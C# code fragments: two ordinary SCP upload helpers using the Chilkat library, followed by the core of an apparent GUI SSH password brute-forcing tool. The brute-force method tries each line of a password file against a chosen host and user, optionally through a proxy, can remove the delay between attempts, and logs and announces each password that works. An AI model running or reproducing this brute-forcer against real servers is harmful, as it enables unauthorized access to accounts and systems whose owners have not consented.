public bool UploadStringWithSCP(string content, string destFileName) { Chilkat.Ssh ssh = new Chilkat.Ssh(); bool success = ssh.Connect(DestinationAdress, Port); if (success != true) { Debug.WriteLine(ssh.LastErrorText); return(false); } // Wait a max of 5 seconds when reading responses.. ssh.IdleTimeoutMs = 5000; // Authenticate using login/password: success = ssh.AuthenticatePw(UserName, _password); if (success != true) { Debug.WriteLine(ssh.LastErrorText); return(false); } // Once the SSH object is connected and authenticated, we use it // as the underlying transport in our SCP object. Chilkat.Scp scp = new Chilkat.Scp(); success = scp.UseSsh(ssh); if (success != true) { Debug.WriteLine(scp.LastErrorText); return(false); } // The utf-8 byte representation of the string will be uploaded. // See https://www.chilkatsoft.com/p/p_463.asp for a list of valid charsets. string charset = "utf-8"; // This uploads to the "uploads/text" directory relative to the HOME // directory of the SSH user account. // Note: The remote target directory must already exist on the SSH server. success = scp.UploadString(destFileName, content, charset); if (success != true) { Debug.WriteLine(scp.LastErrorText); return(false); } Debug.WriteLine("SCP upload string success."); // Disconnect ssh.Disconnect(); return(true); }
public bool UploadWithScp(string sourceFileName, string destFileName) { Chilkat.Ssh ssh = new Chilkat.Ssh(); bool success = ssh.Connect(DestinationAdress, Port); if (success != true) { Debug.WriteLine(ssh.LastErrorText); return(false); } // Wait a max of 5 seconds when reading responses.. ssh.IdleTimeoutMs = 5000; // Authenticate using login/password: success = ssh.AuthenticatePw(UserName, _password); if (success != true) { Debug.WriteLine(ssh.LastErrorText); return(false); } // Once the SSH object is connected and authenticated, we use it // as the underlying transport in our SCP object. Chilkat.Scp scp = new Chilkat.Scp(); success = scp.UseSsh(ssh); if (success != true) { Debug.WriteLine(scp.LastErrorText); return(false); } success = scp.UploadFile(sourceFileName, destFileName); if (success != true) { Debug.WriteLine(scp.LastErrorText); return(false); } Debug.WriteLine("SCP upload file success."); // Disconnect ssh.Disconnect(); return(true); }
private void bgWorker_req_maker_DoWork(object sender, DoWorkEventArgs e) { Chilkat.Ssh ssh = new Chilkat.Ssh(); bool success = false; // Connect to an SSH server: string ssh_hostname = ""; int ssh_port = 22; string ssh_username = ""; string ssh_password = ""; if (sshServerTextBox.Text == "") { MessageBox.Show("SSH Target Is Not valid !"); } else if (AbdalControler.unauthorized_process == true) { MessageBox.Show("This domain is unauthorized !"); Application.Exit(); } else { try { int success_password_counter = 0; radRadialGauge.RangeEnd = this.password_file_line.Length; for (int counter = 0; counter <= this.password_file_line.Length; counter++) { if (AbdalControler.stop_force_process == true) { break; } if (FastTrafficGenToggleSwitch.Value == false) { System.Threading.Thread.Sleep(500); } if (this.password_file_line[counter] != "") { radRadialGauge.Value = counter; ssh_hostname = sshServerTextBox.Text; ssh_username = sshUserNameTextBox.Text; ssh_password = this.password_file_line[counter]; ssh_port = Convert.ToInt32(sshPortTextBox.Text); if (proxy_ToggleSwitch.Value == true) { ssh.HttpProxyHostname = proxyServerTextBox.Text; ssh.HttpProxyPort = Convert.ToInt32(proxyPortTextBox.Text); ssh.HttpProxyUsername = proxyUserNameTextBox.Text; ssh.HttpProxyPassword = proxyPasswordTextBox.Text; if (proxyVersionDropDownList.Text == "Basic") { ssh.HttpProxyAuthMethod = "Basic"; } else if (proxyVersionDropDownList.Text == "NTLM") { ssh.HttpProxyAuthMethod = "NTLM"; } else { //// } } success = ssh.Connect(ssh_hostname, ssh_port); if (success == true) { ssh.IdleTimeoutMs = 5000; success = ssh.AuthenticatePw(ssh_username, ssh_password); //Found Password if (success == true) { success_password_counter++; success_passwordRichTextBox.Items.Add("[+] " + sshUserNameTextBox.Text + " >>" + " " + this.password_file_line[counter]); success_password_links_text.Text = success_password_counter.ToString(); using (var soundPlayer = new SoundPlayer(@"pass-foun.wav")) { soundPlayer.PlaySync(); // can also use soundPlayer.Play() } ssh.Disconnect(); } else { LogAttackTextEditor.AppendText("[-] " + sshUserNameTextBox.Text + " >>" + " " + this.password_file_line[counter] + Environment.NewLine); LogAttackTextEditor.SelectionStart = LogAttackTextEditor.Text.Length; LogAttackTextEditor.ScrollToCaret(); ssh.Disconnect(); } } else { // watch -n 1 "cat /var/log/auth.log | grep 'Failed password'" LogAttackTextEditor.AppendText("Cannot connect to ssh server" + Environment.NewLine); LogAttackTextEditor.SelectionStart = LogAttackTextEditor.Text.Length; LogAttackTextEditor.ScrollToCaret(); ssh.Disconnect(); } } } } catch (Exception ex) { MessageBox.Show(ex.Message); } } // End else }
public void Disconnect() { _client.Disconnect(); }